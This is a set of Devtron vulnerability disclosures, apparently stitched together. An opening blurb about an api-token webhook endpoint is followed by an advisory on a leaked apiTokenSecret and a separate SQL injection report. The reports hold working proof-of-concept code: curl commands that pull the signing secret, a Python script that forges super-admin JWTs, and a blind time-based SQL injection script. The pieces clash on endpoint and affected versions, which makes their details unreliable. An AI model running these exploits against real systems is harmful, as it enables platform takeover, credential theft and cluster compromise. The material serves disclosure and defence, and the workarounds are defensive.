Devtron through 2.2.0 fails to enforce authorization checks on the GET /orchestrator/api-token/webhook endpoint, allowing authenticated users to retrieve admin API tokens. Attackers with any authenticated account can query the endpoint with arbitrary project, environment, and application parameters to retrieve plaintext super-admin JWT tokens for full platform control.

Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

Summary

This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.

CWE Classification: CWE-862 (Missing Authorization)

Details

Vulnerability Mechanism

Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.

Source Code Analysis

Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195

go func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r http.Request) { // Only checks if user is logged in userId, err := handler.userService.GetLoggedInUser(r) if userId == 0 || err != nil { common.HandleUnauthorized(w, r) return }

// CRITICAL: RBAC check is commented out /token := r.Header.Get("token") if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, ""); !ok { WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden) return }/

// Directly retrieves any attribute without authorization vars := mux.Vars(r) key := vars["key"] res, err := handler.attributesService.GetByKey(key) if err != nil { handler.logger.Errorw("service err, GetAttributesById", "err", err) common.WriteJsonResp(w, err, nil, http.StatusInternalServerError) return } common.WriteJsonResp(w, nil, res, http.StatusOK) }

Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88

go func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) { if len(impl.apiTokenSecretStore.Secret) == 0 { return nil, errors.New("secret found empty") } return []byte(impl.apiTokenSecretStore.Secret), nil }

func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) { apiTokenSecret, err := impl.attributesService.GetByKey(bean.APISECRETKEY) if err != nil { return "", err } if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 { return "", errors.New("api token secret from DB found nil/empty") } return apiTokenSecret.Value, nil }

This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.

PoC (Proof of Concept)

Environment Setup

Prerequisites

- Kubernetes cluster (v1.22+) - kubectl configured - Helm 3.x - Python 3.x with PyJWT library

Step 1: Install Devtron

bash Add Devtron Helm repository helm repo add devtron https://helm.devtron.ai helm repo update devtron

Install Devtron with CI/CD module helm install devtron devtron/devtron-operator \ --create-namespace --namespace devtroncd \ --set components.devtron.service.type=NodePort \ --set installer.modules={cicd} \ --set installer.arch=multi-arch

Wait for installation to complete (15-20 minutes) kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}' Expected output: Applied

Step 2: Access Devtron Dashboard

bash Set up port forwarding kubectl -n devtroncd port-forward service/devtron-service 8000:80 &

Get admin password ADMINPASSWORD=$(kubectl -n devtroncd get secret devtron-secret \ -o jsonpath='{.data.ADMINPASSWORD}' | base64 -d) echo "Admin password: ${ADMINPASSWORD}"

Access http://127.0.0.1:8000 and login with admin account.

Exploitation Steps

Step 1: Obtain User Token

Login as a regular user and obtain token:

bash Login as regular user curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"'${ADMINPASSWORD}'"}' | jq .

Extract token USERTOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"'${ADMINPASSWORD}'"}' | jq -r '.result.token')

echo "User token: ${USERTOKEN:0:50}..."

Actual Output Example: json { "code": 200, "status": "OK", "result": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "userId": 1, "userEmail": "admin" } }

Step 2: Exploit Vulnerability to Retrieve apiTokenSecret

Use the obtained token to access the unauthorized Attributes API:

bash Request apiTokenSecret curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \ -H "token: ${USERTOKEN}" | jq .

Extract secret APISECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \ -H "token: ${USERTOKEN}" | jq -r '.result.value')

echo "Leaked API Token Secret: ${APISECRET:0:20}..." echo "Secret length: ${#APISECRET} characters"

Actual Output Example: json { "code": 200, "status": "OK", "result": { "id": 1, "key": "apiTokenSecret", "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "active": true, "createdOn": "2024-01-15T10:30:00Z", "createdBy": 1 } }

Step 3: Forge Admin JWT Token

Forge admin token using the leaked key:

bash Install PyJWT if not already installed pip3 install PyJWT

Create token forging script cat > forgetoken.py << 'EOF' #!/usr/bin/env python3 import jwt import time import sys import json

def forgeadmintoken(secret, userid=1, email="admin"): exptime = int(time.time()) + 365 24 60 60

payload = { "sub": str(userid), "email": email, "iat": int(time.time()), "exp": exptime, "iss": "devtron", "roles": ["role:super-admin"] }

token = jwt.encode(payload, secret, algorithm="HS256") return token

if name == "main": if len(sys.argv) < 2: print("Usage: python forgetoken.py <apiTokenSecret>") sys.exit(1)

secret = sys.argv[1] admintoken = forgeadmintoken(secret, userid=1, email="admin") print(f"[+] Forged Admin Token:") print(admintoken) print()

decoded = jwt.decode(admintoken, secret, algorithms=["HS256"]) print(f"[+] Token Payload:") print(json.dumps(decoded, indent=2)) EOF

chmod +x forgetoken.py

Forge admin token python3 forgetoken.py "${APISECRET}"

Actual Output Example: [+] Forged Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU

[+] Token Payload: { "sub": "1", "email": "admin", "iat": 1705314000, "exp": 1736850000, "iss": "devtron", "roles": [ "role:super-admin" ] }

Step 4: Test Forged Token with Admin APIs

Use the forged token to access admin APIs:

bash Extract forged token FORGEDTOKEN=$(python3 forgetoken.py "${APISECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

Test 1: Get all users (requires admin permission) echo "[] Test 1: Getting user list..." curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \ -H "token: ${FORGEDTOKEN}" | jq '.result[] | {id, emailid, roles}'

Test 2: Get cluster list (requires admin permission) echo "[] Test 2: Getting cluster list..." curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \ -H "token: ${FORGEDTOKEN}" | jq '.result[] | {id, clustername, serverurl}'

Test 3: Get all applications echo "[] Test 3: Getting application list..." curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \ -H "token: ${FORGEDTOKEN}" | jq '.result'

Actual Output Example: [] Test 1: Getting user list... { "id": 1, "emailid": "admin", "roles": ["role:super-admin"] } { "id": 2, "emailid": "developer@example.com", "roles": ["role:developer"] }

[] Test 2: Getting cluster list... { "id": 1, "clustername": "defaultcluster", "serverurl": "https://kubernetes.default.svc" }

[] Test 3: Getting application list... { "appContainers": [ { "appId": 1, "appName": "sample-app", "projectId": 1 } ] }

Expected Result

If the vulnerability exists, it should be able to:

1. Successfully obtain apiTokenSecret using any authenticated user's token 2. Successfully forge JWT tokens using the leaked key 3. Successfully access admin-only APIs using the forged token 4. Retrieve sensitive information such as user lists, cluster configurations, etc.

Impact

Security Impact

Confidentiality: Severe impact. Attackers can: - Obtain the global API Token signing key - Read all user information and permission configurations - Access Kubernetes cluster configurations and credentials - Read sensitive application configurations and Secrets

Integrity: Severe impact. Attackers can: - Forge API Tokens for arbitrary user identities - Modify application configurations and deployments - Create or delete CI/CD pipelines - Modify user permissions and roles

Availability: High impact. Attackers can: - Delete critical applications and configurations - Disrupt CI/CD processes - Modify cluster configurations causing service interruptions

Business Impact

1. Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators 2. Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes 3. Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code 4. Data Breach: Can access all application configurations and Secrets 5. Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials

Attack Scenarios

Scenario 1: Insider Threat - Low-privileged developer exploits this vulnerability to escalate privileges - Gains full access to production environment - Steals sensitive data or plants backdoors

Scenario 2: Supply Chain Attack - Attacker obtains low-privileged account through social engineering - Exploits vulnerability to gain admin privileges - Modifies CI/CD pipelines to inject malicious code - Affects all applications using the pipeline

Scenario 3: Lateral Movement - Attacker has already compromised a low-privileged account - Exploits this vulnerability to gain Kubernetes cluster access - Deploys cryptocurrency miners or other malicious payloads in the cluster

Severity

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score Breakdown: - Attack Vector (AV:N): Network accessible, exploited via HTTP API - Attack Complexity (AC:L): Low complexity, requires only one HTTP request - Privileges Required (PR:L): Requires low privileges (any authenticated user) - User Interaction (UI:N): No user interaction required - Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster) - Confidentiality (C:H): High impact, can read all sensitive information - Integrity (I:H): High impact, can modify all configurations and data - Availability (A:H): High impact, can delete resources and disrupt services

Severity Level: Critical

Affected Versions

- Devtron: All versions (as of 2026-01-26 verification) - Specifically affected code files: - api/restHandler/AttributesRestHandlder.go - pkg/apiToken/ApiTokenSecretService.go

Workarounds

Before an official patch is released, the following temporary measures can be taken:

Option 1: Network-Level Restrictions

bash Use NetworkPolicy to restrict access to Devtron API kubectl apply -f - <<EOF apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: devtron-api-restriction namespace: devtroncd spec: podSelector: matchLabels: app: devtron policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: role: admin ports: - protocol: TCP port: 8080 EOF

Option 2: Rotate API Token Secret

bash Generate new secret NEWSECRET=$(openssl rand -hex 32)

Update in database kubectl exec -n devtroncd postgresql-postgresql-0 -- \ psql -U postgres -d orchestrator -c \ "UPDATE attributes SET value='${NEWSECRET}' WHERE key='apiTokenSecret';"

Restart Devtron service kubectl rollout restart deployment/devtron -n devtroncd

Option 3: Add API Gateway Filtering

Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.

Credits @b0b0haha (603571786@qq.com) @lixingquzhi(mayedoushidalao@163.com)

Summary An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).

Details The API is CreateUser (/orchestrator/user).

The function to read user input is: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104

The userInfo (line 104) parameter can be controlled by users.

The SQL injection can happen in the code: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038

The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.

The user should be authenticated but only needs minimum permissions: !image

PoC

Demonstrate a blind SQL injection to retrieve the database name:

import requests import time import string import argparse

def blind(ip, token, query): url = f"http://{ip}/orchestrator/user" headers = {"token": token} entity = "chart-group" payload = f"'; {query} --"

data = {"id": 111, "emailid": "abcd123@126.com", "superAdmin": False, "roleFilters":[{"team":"", "environment":"", "action": "", "entity": entity, "accessType": payload}]} #"EntityName": "test", "AccessType": "test", "Cluster": "",\"NameSpace": "devtroncd", "Group": "", "Kind": "", "Resource": "", "Workflow": "" start = time.time() res = requests.post(url, headers=headers, json = data) end = time.time() #print(res.content) if(end - start > 1): return True return False

def main(ip, token): chs = string.printable result = "" isend = False i = 1 while(not isend): isend = True for ch in chs: if(blind(ip, token, f"select case when substring(datname,{i},1)='{ch}' then pgsleep(1) else pgsleep(0) end from pgdatabase limit 1;")): print(ch) result += ch isend = False break i += 1 print(result)

if name == "main": argparser = argparse.ArgumentParser() argparser.addargument("--ip", "-i", type=str, help="Target IP") argparser.addargument("--token", "-t", type=str, help="API TOKEN") args = argparser.parseargs() main(args.ip, args.token)

The debugging breakpoint indicated that the malicious SQL query was executed: !image

We can see that we can get the database name: !image

Impact SQL injection vulnerability. Our tests indicate that the latest version is affected.

The reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.